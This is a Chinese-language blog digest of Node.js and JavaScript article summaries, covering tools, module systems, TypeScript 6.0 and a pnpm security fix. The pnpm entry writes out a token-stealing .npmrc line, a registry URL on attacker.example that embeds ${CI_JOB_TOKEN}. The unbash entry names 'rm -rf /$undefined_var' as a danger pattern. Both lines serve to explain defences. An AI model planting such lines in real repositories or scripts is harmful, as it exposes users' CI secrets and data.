NodeJs | 锤子前端

《Paperclip：用开源“公司”编排 AI 智能体团队》

Tue, 29 Sep 2026 23:09:27 GMT

《Paperclip：用开源“公司”编排 AI 智能体团队》

标签：
#AI_Agent编排 #Agentic任务管理 #组织治理与成本控制 #多智能体协作 #开源自托管 #Nodejs与React #OrgChart #Heartbeat调度 #预算管控 #多组织隔离

总结：

Paperclip 是一个开源的自托管应用，用“经营公司”的方式管理 AI 智能体团队：它把目标、组织架构、任务、预算、审批、审计和运行环境整合进一个控制台。你可以接入 Claude Code、Codex、Cursor、OpenClaw 等任意 Agent，让它们像员工一样有角色、汇报线、预算与心跳调度，并在一个看板里追踪进度与成本。

文章要点：
1. 核心定位是“管公司，不是管聊天”：Paperclip 不造 Agent、不做拖拽式工作流，而是把多个 Agent 编排成有目标、有层级、有治理的组织。
2. 使用路径很直接：先定义商业目标，再“招聘”不同职能的 Agent（CEO/CTO/工程/设计/营销等），最后审批策略、设置预算并启动运行。
3. 四大支柱覆盖日常到平台层：Agentic 任务管理、Agent 组织架构、Agent 员工培训、Agentic OS（运行基础设施）。
4. 任务系统强调可审计与防冲突：任务带公司/项目/目标链路，支持原子领取、执行锁、阻塞依赖、评论、附件与产出物。
5. Heartbeat 让 Agent 按计划醒来干活：支持定时唤醒、事件触发、上下文续接、结构化日志与自动恢复，减少人工盯梢。
6. 成本控制是硬约束：按公司/Agent/项目/目标/模型等维度追踪 token 与费用，预算到线会告警并硬停止，避免“跑飞”。
7. 治理与回滚机制完整：审批流、执行策略、决策记录、暂停/终止 Agent、配置版本化与审计日志都在系统内完成。
8. 支持多组织隔离与可移植性：一套部署可跑多家“公司”，数据完全隔离；还能导出/导入组织配置并做密钥清理。
9. 运行环境面向真实开发流程：支持项目工作区、隔离执行工作区（如 git worktree）、开发服务/预览链接、密钥注入与技能加载。
10. 它不是聊天机器人、不是 Agent 框架、不是代码评审工具，而是面向“多 Agent 团队”的编排控制平面。

URL：
https://github.com/paperclipai/paperclip

GitHub

GitHub - paperclipai/paperclip: The open-source app everyone uses to manage agents at work

The open-source app everyone uses to manage agents at work - paperclipai/paperclip

《你的模块在骗你：ESM 与 CommonJS 的本质差异与陷阱全解析》

Fri, 28 Aug 2026 01:13:02 GMT

《你的模块在骗你：ESM 与 CommonJS 的本质差异与陷阱全解析》

标签：
#JavaScript #NodeJS #ESM #CommonJS #模块系统 #前端工程化

总结：

本文深入剖析了 ESM 和 CommonJS 两种模块系统在底层机制上的根本差异——ESM 通过"活绑定"（live bindings）在模块间共享变量引用，而 CommonJS 通过 module.exports 返回一个普通值（通常是对象）。这一差异导致了同名导入在两种系统下行为截然不同：ESM 的命名导入能观察到导出模块的变量重新赋值，CommonJS 的解构赋值则只复制了属性的当前值。文章进一步系统讲解了评估顺序、缓存机制、循环依赖处理、跨系统互操作、双包实例风险等关键话题，并提供了 9 条实践规则和调试清单。

文章要点：

1. 活绑定 vs 值复制：最经典的陷阱 — ESM 的 import { status } 是活绑定，导出模块重新赋值后导入方自动看到新值；CommonJS 的 const { status } = require() 是解构赋值，只复制了对象属性的当前值，后续变化不可见。只有保留整个对象 const state = require() 才能观察到属性变更。

2. ESM 的导入会被提升，CommonJS 按执行顺序 — ESM 静态导入在模块体执行前就已经解析、链接并评估依赖，所以 import 写在代码中间也不影响执行顺序；CommonJS 的 require() 是普通函数调用，走到哪行才执行哪行。

3. 两种系统有独立的缓存 — ESM 和 CommonJS 各自维护自己的模块缓存，URL 查询参数（如 ?mode=one）会让同一文件被当作不同模块实例加载两次。条件导出（"import" / "require"）指向不同文件时，也会产生两个独立的模块实例。

4. 循环依赖的处理方式天差地别 — CommonJS 允许在模块未完全初始化时就返回 exports 对象，因此循环依赖中的模块能看到对方"半成品"状态；ESM 则先创建绑定再执行模块体，如果在初始化前读取对方绑定会抛出 ReferenceError: Cannot access before initialization。

5. 跨系统互操作的隐藏复杂性 — ESM 导入 CJS 时，module.exports 作为 default 导出最可靠，命名导出是 Node 静态分析的"快照"，不会跟踪后续属性变更；CJS 通过 require() 加载 ESM 时返回的是命名空间对象，需通过 .default 访问默认导出。__esModule 只是工具链约定，不是语言特性。

6. 双包实例风险（Dual-Package Hazard） — 当 "import" 和 "require" 指向不同构建文件时，同一个类会被实例化为两个不同的构造函数，instanceof 会返回 false，共享状态（如计数器、注册表）也会分裂成两份。

7. 发布库的最佳实践 — 用 .mjs/.cjs 明确文件格式；package.json 中 "type" 字段决定 .js 的解析方式；相对 ESM 导入必须带文件扩展名；用 "exports" 条件导出为不同系统提供入口，但要警惕实例分裂。

8. 调试模块问题的检查清单 — 从导入文件的格式、解析到的入口点、返回值形状、本地变量持有的是绑定还是副本、评估是否完成、是否存在循环依赖、模块身份是否一致、是否经过构建工具转换、是否通过打包后的 tarball 测试等 9 个维度系统排查。

9. 九条实践规则 — 新项目优先用 ESM；库优先用命名导出；可变导出视为共享进程状态；CJS 属性会变时保留对象而非解构；移除循环依赖而非绕开；条件/延迟加载用动态 import()；包边界显式声明文件格式；假设不同导出目标是不同实例；通过包名而非源码路径测试。

URL：
https://blog.gaborkoos.com/posts/2026-08-14-Your-Modules-Are-Lying-to-You/

Gaborkoos

Your Modules Are Lying to You

ESM and CommonJS expose values through different contracts. Learn how bindings, object references, evaluation order, caching, cycles, and interop shape module behavior in Node.js.

《unbash：零依赖的 Bash 解析器》

Sat, 15 Aug 2026 12:55:27 GMT

《unbash：零依赖的 Bash 解析器》

标签：
#Web开发 #NodeJs #Bash解析 #TypeScript #AST #命令行工具 #静态分析

总结：

文章要点：
1. 定位清晰：unbash 是一个用 TypeScript 编写的、零依赖的 Bash 解析器，能将 Bash 源码（命令、脚本或嵌入在其他格式中的 shell 代码）解析为带类型和源码位置的 AST，且不执行代码
2. 适用场景丰富：可用于权限审核、静态盘点脚本中的可执行文件和依赖引用、将 curl 等命令结构化导入、为粘贴的 Bash 代码附加诊断信息、构建可视化解释、以及安全地查找和迁移命令调用
3. 语法支持全面：涵盖命令、控制流、管道、重定向、赋值、复合语句、参数扩展、进程替换、heredoc、算术表达式等，嵌套命令在参数、数组索引、算术表达式中仍保持结构化
4. 容错能力强：对于畸形或不完整的输入，会返回尽力而为的部分 AST，并附带带源码位置的错误信息，适合处理编辑器输入或用户粘贴内容
5. 性能碾压对手：在多个基准测试中，解析吞吐量远超 tree-sitter-bash（约 717 倍）、sh-syntax（约 92870 倍）和 bash-parser（约 275291 倍），包体积仅 80KB 压缩后 19KB
6. 与竞品差异化明显：相比 tree-sitter-bash 提供的是可执行语法的类型化 AST 而非 CST；相比 sh-syntax 无需 WASM 且 API 更轻量；相比 bash-parser 支持更多 Bash 特性（如 [[ ]]、(( ))、herestrings、process substitution 等）且具备错误恢复能力
7. 与 shellcheck 的互补关系：unbash 专注于"解析结构"，不做语义分析；以下场景推荐用 shellcheck 而非 unbash：
- 检查变量是否已定义或是否被引用（如未引用变量 $var 可能引发 word splitting）
- 检测命令是否存在及其参数合法性（如 git --不存在的参数 语法正确但运行会报错）
- 识别常见陷阱和反模式（如 cat file | grep pattern 可简化为 grep pattern file）
- 检查权限相关风险（如 rm -rf /$undefined_var 的潜在危险）
- 提供可操作的修复建议（shellcheck 会直接给出 SC 规则编号和修复方案）
- 对脚本进行全面的最佳实践审查（POSIX 兼容性、可移植性建议等）

URL：https://github.com/webpro-nl/unbash

GitHub

GitHub - webpro-nl/unbash: Fast 0-deps bash parser written in TypeScript

Fast 0-deps bash parser written in TypeScript. Contribute to webpro-nl/unbash development by creating an account on GitHub.

《5 个实用的 npx 辅助工具》

Sat, 15 Aug 2026 12:45:43 GMT

《5 个实用的 npx 辅助工具》

标签：
#Web开发 #NodeJs #命令行工具 #Npx #前端工程化 #代码质量 #Markdown #图片优化 #依赖管理 #拼写检查

总结：

文章要点：
1. cspell：一个拼写检查器，适合快速排查拼写错误，建议搭配配置文件使用自定义白名单，运行方式如 npx cspell **/*.md
2. markdown-link-check：专门检查 Markdown 文件中的链接是否有效，能帮助防止链接失效，推荐配合配置文件使用
3. image-guard：作者自己开发的工具，用于自动化近无损图片压缩，也适合在命令行中快速压缩图片，运行 npx image-guard 即可
4. npm-check-updates：快速检查 package.json 中的依赖是否有更新版本，适合在新仓库工作或手动处理依赖更新时使用
5. knip：功能比 npm-check-updates 更广，还能检查未使用的文件和导出，但文件和导出检查可能会有误报，运行 npx knip 即可

URL：https://meiert.com/blog/5-npx-helpers/

Jens Oliver Meiert

5 Useful npx Helpers

Joy on the command line.

《200毫秒：一次HTTP请求的完整旅程》

Sat, 18 Jul 2026 15:24:57 GMT

《200毫秒：一次HTTP请求的完整旅程》

标签：#后端 #NodeJS #网络协议 #TCP #TLS #DNS #HTTP #Postgres #Linux内核 #Web性能

总结：

这是一个交互式可视化网站，以旧金山咖啡店一次点击购买为起点，逐帧追踪HTTP请求在211.4毫秒内穿越北美大陆的完整生命周期。从触摸板电容变化到屏幕像素刷新，文章以精确的时间轴拆解了硬件中断、浏览器事件循环、DNS解析、TCP/TLS握手、内核网络栈、Node.js事件循环、Postgres事务提交、光纤传输、Wi-Fi重传、GPU渲染等每个环节，揭示了"冷启动"请求中60%时间消耗在握手、35%在传输、而服务器实际计算仅占1.4%的惊人事实。

文章要点：

1. 一次点击触发7层软件栈（触摸板→HID→窗口服务器→Chrome→渲染器→JavaScript→fetch）才发出第一个字节，而电容变化到网络请求离开仅需5毫秒
2. DNS查询通过UDP在2毫秒内完成，依赖Anycast路由将请求导向最近的解析器；TLS 1.3将握手从2个RTT压缩到1个，但仍需127毫秒建立加密隧道
3. 4,700公里光纤需6次穿越大陆，每次31毫秒；Wi-Fi碰撞重传仅需1.2毫秒，却足以容纳整个Postgres查询往返（0.35毫秒）
4. 服务器端50微秒内完成从网卡DMA→NAPI轮询→TCP重组→epoll唤醒→Node.js读取→TLS解密→HTTP解析→路由到handler的全流程
5. Postgres通过连接池、预编译语句和WAL组提交将INSERT优化至2.1毫秒，fsync强制刷盘是唯一的同步阻塞点
6. 响应返回后，Chrome还需经历kqueue唤醒、TLS解密、React重渲染、样式计算、布局、绘制、合成，最终等待4.4毫秒VSync才显示"Order confirmed"
7. 第二次"热请求"可复用TCP连接和TLS会话票证，将耗时从211毫秒降至约95毫秒，节省的116毫秒全是首次建立的连接成本

URL：https://200ms.thenodebook.com/

The Nodebook

200 Milliseconds — the complete life of one HTTP request, visualized

A single HTTP request, traced in real time through DNS, TCP, TLS, the kernel, Node's event loop, and Postgres — then back to the pixel. Scroll distance equals time.

《pnpm_不再在仓库的.npmrc_中展开环境变量》

Sat, 20 Jun 2026 10:36:40 GMT

《pnpm_不再在仓库的.npmrc_中展开环境变量》

标签：#NodeJS #pnpm #安全性 #npmrc #供应链安全

总结：
pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞：恶意仓库可通过在 .npmrc 中嵌入 ${ENV_VAR} 占位符，在 pnpm install 解析依赖时窃取用户环境变量中的敏感 token。现在 pnpm 对仓库控制的配置文件不再展开环境变量，凭证和 registry 设置必须移到你信任的位置（如用户级 ~/.npmrc、环境变量或 CLI 参数）。

文章要点：
1. 攻击原理很隐蔽：恶意仓库在 .npmrc 里写 registry=https://attacker.example/${CI_JOB_TOKEN}/，你 pnpm install 时 pnpm 会自动把环境变量填进去，token 就直接发到攻击者服务器了，不需要任何 postinstall 脚本
2. 修复边界很清晰：仓库内的 .npmrc 和 pnpm-workspace.yaml 里的 registry、认证相关字段不再展开 ${...}，但用户级配置、全局配置、命令行参数和环境变量配置仍然正常展开
3. 迁移姿势很简单：用 pnpm config set 把 token 写到用户配置，或者直接用 pnpm_config_//registry... 环境变量传凭证，GitHub Actions 的 actions/setup-node 完全不受影响
4. 多 token 场景也有解：v11.7 新增了按 scope 区分认证 token 的能力，同一个 registry 不同组织可以用不同的 _authToken，再也不用靠环境变量模板来切换了
5. 虽然是 breaking change 但不得不修：这是有实际利用链的漏洞，等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中，所以 pnpm 选择在 patch 版本里直接修复

URL：https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc

pnpm.io

Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm

pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…

《npm 上 ESM 与 CJS 的占比变迁数据》

Fri, 12 Jun 2026 09:14:29 GMT

《npm 上 ESM 与 CJS 的占比变迁数据》

标签：#JavaScript #NodeJS #ESM #CommonJS #npm #模块系统

总结：
该项目持续追踪 npm 高影响力（热门）包中 ESM、CJS、Dual（双模式）及 Faux（伪 ESM）的占比变化。数据显示，纯 ESM 包从 2021 年 8 月的 6% 增长至 2026 年 6 月的 16%；Dual 模式包增长最为迅猛（从 1.7% 到 22%），成为主流过渡方案；而纯 CJS 虽仍占最大份额（52%），但占比持续下降。2025 年底样本量骤增，反映 npm 生态整体扩张。

文章要点：
1. 纯 ESM 稳步增长但尚未过半**：从 2021 年 341 个包（6.1%）增至 2026 年 2590 个（16.0%），五年增长约 2.6 倍，但仍是少数派
2. **Dual 模式成为最大赢家**：从 95 个（1.7%）暴涨至 3574 个（22.0%），说明"同时支持 ESM 和 CJS"已成为库作者最务实的选择
3. **纯 CJS 仍是主流但份额萎缩**：从 77.4% 降至 51.6%，虽然绝对数量增加，但相对占比持续被侵蚀
4. "伪 ESM"（Faux）长期僵持**：表面用 ESM 语法但实际编译为 CJS 的包，占比一直维持在 10% 左右，说明彻底转型仍有阻力
5. **生态规模急剧扩张**：样本包总数从 5617 个增至 16231 个，2025 年底几乎翻倍，反映 npm 整体生态的蓬勃发展
6. **数据方法论透明**：基于 npm-high-impact 热门包分析，爬取 package.json 的 latest 版本，约 15 分钟完成，结果以 CSV 和 SVG 可视化呈现

URL：
https://github.com/wooorm/npm-esm-vs-cjs#data

GitHub

GitHub - wooorm/npm-esm-vs-cjs: Data on the share of ESM vs CJS on the public npm registry

Data on the share of ESM vs CJS on the public npm registry - wooorm/npm-esm-vs-cjs

《Node.js流内存泄漏生产级排查手册：五大隐蔽陷阱与五则铁律》

Sun, 31 May 2026 14:26:16 GMT

《Node.js流内存泄漏生产级排查手册：五大隐蔽陷阱与五则铁律》

标签：#NodeJS #后端 #流处理 #内存优化 #性能调优

总结：

文章要点：
1. 五大隐蔽泄漏模式：①客户端断开但服务端未感知（legacy pipe() 不处理 premature close）②手动事件解绑是噩梦（async iterator 的 break 自动触发 destroy）③超时只杀响应不杀上游（AbortSignal.timeout 才能全链路终止）④数据库生命周期绑定网络速度（应解耦上游资源与下游传输）⑤pipeline() 异步 destroy 的竞态窗口（catch 里手动补刀 source.destroy）
2. 五则生产铁律：Rule 1 永远用 pipeline() 替代 .pipe()，自动处理错误/完成/背压传播；Rule 2 尊重 .write() 的布尔返回值，并掌握防"Drain Hang"的 AbortController 竞速清理写法；Rule 3 谁创建谁销毁，try/finally + AbortSignal 是标配；Rule 4 用 --max-old-space-size=128 做本地压测，看 writableLength 是否脱离 highWaterMark 失控飙升；Rule 5 写单元测试验证背压，用低 highWaterMark 的慢消费者 mock 检测队列是否暴涨
3. 未来方向：Node.js 正推动"stream-less future"，用纯 async generator + pipeline() 替代 legacy Stream API，从 push 模式转为 pull 模式，背压协作变成结构性而非手动检查；Node.js 22 的 stream.compose() 可将多个 generator/流封装为可复用的 Duplex 单元
4. 核心洞察：Node.js 流基于信任系统，破坏信任时不会大声报错，而是静默累积直到崩溃。四行修复代码（检查 write 返回值 + await drain）只是起点，真正的挑战在于理解生产环境中连接断开、超时、慢网络等边界情况

URL：https://frontendmasters.com/blog/the-production-playbook-for-node-js-stream-leaks/

Frontend Masters

The Production Playbook for Node.js Stream Leaks

This is Part 2 of a two-part series. Part 1 covered the core mental model of backpressure, why highWaterMarkisn’t a safety net, the .pipe()to pipeline() migration, and why async/awaitdoesn’t solve data volume problems. We also fixed the immediate crisis:…

《Node.js官方发布Axios迁移Fetch指南》

Fri, 22 May 2026 10:24:20 GMT

《Node.js官方发布Axios迁移Fetch指南》

标签：#后端 #NodeJS #FetchAPI #Axios #代码迁移 #HTTP请求

总结：
Node.js官方博客发布了一个将Axios代码自动迁移到原生WHATWG Fetch API的codemod工具，详细说明了迁移理由、Node.js版本要求、支持的转换方法及具体代码示例，同时坦诚标注了暂不支持的高级特性。

文章要点：
1. 迁移四大理由：Fetch是Node.js原生内置，无需额外依赖；性能针对现代运行时做了优化；严格遵循Web标准，浏览器和Node.js代码可复用；移除第三方库减少安全风险
2. 版本门槛：Node.js v18起Fetch可用但为实验性，v21起才稳定；如果包还兼容v18以下，迁移必须升主版本号并修改package.json的engines字段
3. 支持的转换方法覆盖很全，包括get、post、put、patch、delete、head、options、request以及postForm/putForm/patchForm等表单提交方式
4. 转换后的Fetch代码会用Object.assign(res, { data: await res.json() })来模拟Axios的response.data结构，让迁移后的代码改动最小化
5. 目前暂不支持拦截器、取消令牌和axios.create()实例配置等高级特性，这些场景需要手动处理
6. 官方对Axios维护者表达了感谢，认可其对生态的贡献

URL：
https://nodejs.org/en/blog/migrations/axios-to-fetch

nodejs.org

Node.js — Axios to WHATWG Fetch

Node.js® is a free, open-source, cross-platform JavaScript runtime environment that lets developers create servers, web apps, command line tools and scripts.

《Express全新面貌》

Fri, 22 May 2026 10:19:28 GMT

《Express全新面貌》

标签：#后端 #NodeJS #ExpressJS #Web框架 #文档重构 #开源社区

总结：
Express官方博客宣布完成网站全面重构与品牌焕新，涵盖Astro技术栈迁移、AI智能搜索、版本化文档及全新Logo设计，标志着这个Node.js生态老牌框架在2024年重启后进入新阶段。

文章要点：
1. 网站底层从Jekyll迁移到Astro，带来更灵活的组件模型、国际化支持和内容页性能提升，文档生成与维护方式也一并升级
2. 文档新增多版本并行浏览，Express 4和5的文档可以独立查看，告别版本混淆的烦恼
3. 搜索接入了Orama的AI能力，支持自然语言提问，找API和概念更快更准
4. 全站文档开放了llms.txt端点，方便大模型和AI助手直接读取最新文档
5. 接下来的重点是补齐内容缺口、完善多语言翻译，并让文档和新版本同步发布
6. 新Logo由社区公开协作设计，品牌定位为"Established·Dependable·Approachable"，延续极简风格的同时开启新篇章

URL：
https://expressjs.com/en/blog/2026-05-18-a-new-look-for-express/

Express.js

A New Look for Express · Express.js

Discover the redesigned Express.js website and our brand-new logo, built from the ground up with Astro.

《probe-image-size：无需完整下载即可获取图片尺寸》

Fri, 08 May 2026 03:02:30 GMT

《probe-image-size：无需完整下载即可获取图片尺寸》

标签：#NodeJS #ImageProcessing #ProbeImageSize #StreamParsing #ImageMetadata #PerformanceOptimization

总结：
probe-image-size 是一款轻量级 Node.js 库，能在不下载完整图片的情况下快速探测图片尺寸与类型。它支持 URL、Stream 和 Buffer 三种输入方式，覆盖 JPG/PNG/WebP/AVIF/HEIC 等主流格式，通过流式解析仅读取文件头部信息，对大图和远程资源特别省内存、省带宽，是图片预处理场景的理想选择。

文章要点：
- 支持超多种格式：JPG、GIF、PNG、WebP、BMP、TIFF、SVG、PSD、ICO、AVIF、HEIC、HEIF 统统能读，覆盖面很广
- 流式探测超省资源：不需要把整张大图拉下来，只读取文件头部就能算出宽高，远程大图也能秒开，内存和带宽都友好
- 三种输入方式任选：可以直接传网址自动下载探测，也可以丢文件流或 Buffer 进去，同步异步 API 都有，接入很灵活
- 额外信息一并返回：除了宽高，还会带回图片类型、MIME、方向角（Orientation），ICO 和 AVIF 还能拿到多尺寸变体列表
- 安全提示要记牢：对于不可信来源的图片，返回的宽高值别直接信任，建议在自己的业务里再加一层范围校验

文章URL：https://github.com/nodeca/probe-image-size

GitHub

GitHub - nodeca/probe-image-size: Get image size without full download. Supported image types: JPG, GIF, PNG, WebP, BMP, TIFF,…

Get image size without full download. Supported image types: JPG, GIF, PNG, WebP, BMP, TIFF, SVG, PSD, ICO. - nodeca/probe-image-size

《node-html-to-text：HTML转纯文本转换器》

Fri, 08 May 2026 02:59:05 GMT

《node-html-to-text：HTML转纯文本转换器》

标签：#NodeJS #工具库 #HTML解析 #文本转换 #数据提取 #内容处理

总结：
node-html-to-text 是一款成熟的 Node.js 库，用于将 HTML 文档解析并转换为格式优美的纯文本。它通过类 CSS 的 selectors 机制实现高度灵活的格式化控制，支持表格、链接、列表等复杂结构，并提供 compile 预编译模式以优化批量处理性能。

文章要点：
- **核心能力**：支持行内/块级标签、表格（含跨行跨列）、链接、自动换行、Unicode 等，能把复杂 HTML 干净地转成可读文本
- **两种使用模式**：`convert() 适合单次转换；`compile() 预编译配置后批量处理，性能更优，推荐处理大量文档时使用
- **Selectors 驱动配置**：采用类似 CSS 的 selectors 数组来匹配元素并指定格式化方式，支持标签、类名、ID、属性等组合选择，特异性高的规则优先生效
- **丰富的自定义扩展**：可通过 formatters 注册自定义格式化函数，还能传入 metadata 让 formatter 访问额外上下文信息，满足特殊业务需求
- **版本演进清晰**：v8 引入 selectors 体系，v9 支持 ESM/CJS 双模式并移除大量废弃选项，v10 要求 Node.js 20.19.0+，API 趋于稳定现代

文章URL：https://github.com/html-to-text/node-html-to-text

GitHub

GitHub - html-to-text/node-html-to-text: Advanced html to text converter

Advanced html to text converter. Contribute to html-to-text/node-html-to-text development by creating an account on GitHub.

《Optique：TypeScript 类型安全的 CLI 解析器》

Fri, 24 Apr 2026 08:53:06 GMT

《Optique：TypeScript 类型安全的 CLI 解析器》

标签：#CLI #TypeScript #ShellCompletion #ParserCombinator #NodeJS #Deno #Bun

总结：
Optique 是一款面向 TypeScript 的类型安全 CLI 解析器库，灵感源自 Haskell 的 optparse-applicative 与 TypeScript 的 Zod。它采用函数式组合子（combinator）架构，通过组合小型类型安全解析器构建复杂 CLI，TypeScript 自动推断解析结果类型。支持标志、选项、子命令、选项间依赖、环境变量绑定、交互式提示、配置文件集成、Shell 补全及 man 手册生成，并可在 Deno、Node.js 与 Bun 上运行。1.0.0 版本新增 @optique/env 环境变量包与 @optique/prompt 交互式提示包，同时修复了 Shell 补全、帮助输出与值解析中的数百项问题。

文章要点：
- 类型安全组合子架构：用函数式组合子拼装小型解析器，TypeScript 自动推断解析结果类型，编译时保证安全，解析器结构本身即运行时校验规则。
- 零重复定义的智能 Shell 补全：支持 Bash、zsh、fish、PowerShell、Nushell 五大 Shell，补全逻辑直接复用解析器结构，无需额外维护补全定义，选项、参数与 choice() 值自动同步。
- 灵活的集成扩展：提供 @optique/env 环境变量回退、@optique/config 配置文件级联、@optique/prompt 交互式提示、@optique/zod 与 @optique/valibot 桥接，以及 @optique/temporal 日期时间解析等生态包。
- 1.0 正式版成熟稳定：2026 年 4 月发布的 1.0.0 完成 API 清理，新增 fail<T>() 解析器、validateValue() 校验、normalize() 规范化与细粒度 hidden 控制，并修复了数百项补全、帮助与解析问题。

文章URL：https://optique.dev/

optique.dev

Optique: type-safe combinatorial CLI parser for TypeScript | Optique

Model your command-line grammar with composable, type-safe parsers. Mutually exclusive modes, dependent options, inferred result types, help, completion, and man pages all come from the same parser definition.

《2026年JavaScript生态全景指南》

Wed, 08 Apr 2026 09:23:59 GMT

《2026年JavaScript生态全景指南》

标签：#前端 #JavaScript #ECMAScript2025 #ECMAScript2026 #React #Vue #Svelte #NodeJS #TypeScript #Vite #Bun #Deno #TemporalAPI #IteratorHelpers #ImportAttributes

总结：
本文全面梳理了2026年JavaScript生态系统的最新发展，涵盖ECMAScript 2025（迭代器助手、Set方法、Promise.try等）和2026预期特性（Temporal API、资源管理），React/Vue/Svelte框架动态，Node.js原生TypeScript支持、Bun和Deno运行时竞争，Vite 8与Turbopack构建工具演进，TypeScript v6及AI编程趋势。文章强调掌握基础原理比追逐工具更重要，特别是在AI辅助编程时代，架构能力和代码品味尤为关键。

文章要点：
- **ECMAScript 2025超实用新玩具**：迭代器终于能链式调用`.map()和.filter()`啦，而且是惰性求值不耗内存；Set之间可以玩集合运算，轻松找出技能交集和差集；`Promise.try()`让同步异步错误一网打尽；还有`RegExp.escape()`终于解决了用户搜索时特殊字符炸正则的问题～

- **2026年最期待的Temporal API**：Date对象终于被拯救了！处理时区和日期计算不会再莫名其妙多出几天，浏览器原生支持即将到来，告别 moment.js 大礼包的时代要来啦～

- **框架圈的大新闻**：React 19的Server Components和Compiler还在消化中，Vue 3.6祭出Vapor Mode性能大招，Svelte 5的Runes API让响应式更细粒度； Next.js 16默认切到Turbopack，Astro被Cloudflare抱走，Remix正在酝酿去React化的大胆实验～

- **运行时三国杀**：Node.js 22+能直接跑.ts文件啦（虽然只是剥离类型），Bun被Anthropic(Claude家)收编后1.3版本速速飞起，Deno 2稳如老狗主打安全牌，三足鼎立格局越来越有意思～

- **TypeScript登顶GitHub第一**：v6严格模式默认开启，v7要用Go重写编译器提速10倍；92%的开发者都在用AI写代码，但文章提醒我们——基础原理和架构品味才是AI时代真正的护城河呀！

文章URL：https://frontendmasters.com/blog/what-to-know-in-javascript-2026-edition/

Frontend Masters

What To Know in JavaScript (2026 Edition)

We’ve done posts like this for CSS, but JavaScript deserves the same dangnabit! Especially as JavaScript does a better job of versioning itself anyway. We’ll cover new stuff in the language itself, but being a JavaScript practitioner involves more than the…

《TypeScript 6.0 正式发布：迈向原生编译器的重要桥梁》

Wed, 25 Mar 2026 10:44:29 GMT

《TypeScript 6.0 正式发布：迈向原生编译器的重要桥梁》

标签：#前端 #TypeScript #TS6 #TS7 #ESM #NodeJS #Compiler

总结：

TypeScript 6.0 是连接 5.9 与即将发布的 Go 语言重写版 7.0 的关键过渡版本，也是基于当前 JavaScript 代码库的最后一个主要版本。本次更新带来多项实用新特性，包括更智能的无 this 函数类型推断、支持 #/ 开头的子路径导入、内置 Temporal API 类型、Map 的 getOrInsert 方法等。同时，大量旧配置项被标记为废弃（如 target: es5`、`baseUrl`、AMD/UMD 模块等），`strict 和 module 等选项的默认值也更现代化。这些调整旨在帮助开发者提前适配 TypeScript 7.0 的全新架构。

文章要点：

- 过渡版本定位**：TS 6.0 是基于 JS 代码库的最后一个版本，TS 7.0（Go 重写版）已接近完成，6.0 的改动主要为 7.0 铺路
- **类型推断更聪明**：不再把未使用 `this` 的方法语法函数视为上下文敏感函数，让属性顺序不影响类型推导，写代码更随心所欲
- **子路径导入更简洁**：终于支持 `#/*` 这种干净的别名写法，告别之前必须写 `#root/*` 的冗余，和打包工具里的 `@/` 习惯更接近了
- **全新内置类型**：Temporal API 正式入驻（处理日期时间更靠谱），Map 新增 `getOrInsert` 和 `getOrInsertComputed` 方法，告别繁琐的"有则取无则设"模式
- **配置默认值现代化**：`strict` 默认开启，`module` 默认 `esnext`，`target` 默认当前年份（es2025），新项目开箱即用更严格、更现代
- **性能优化相关**：`types` 默认改为空数组（需显式声明如 `["node"]`），`libReplacement` 默认关闭，构建速度有望提升 20-50%
- **大量废弃项需留意**：`target: es5`、`baseUrl`、`moduleResolution node`、AMD/UMD/SystemJS 模块、`outFile`、`module` 关键字声明命名空间等都将退出历史舞台，建议尽早迁移
- **迁移辅助工具**：提供 `--stableTypeOrdering` 标志帮助对比 6.0 与 7.0 的差异，`ts5to6` 工具可自动调整 `baseUrl` 和 `rootDir` 配置

**文章URL：
https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/

Microsoft News

Announcing TypeScript 6.0

TypeScript 6.0 is now available! TypeScript 6 is a stepping-stone release, aligning with the upcoming native-speed 7.0 release.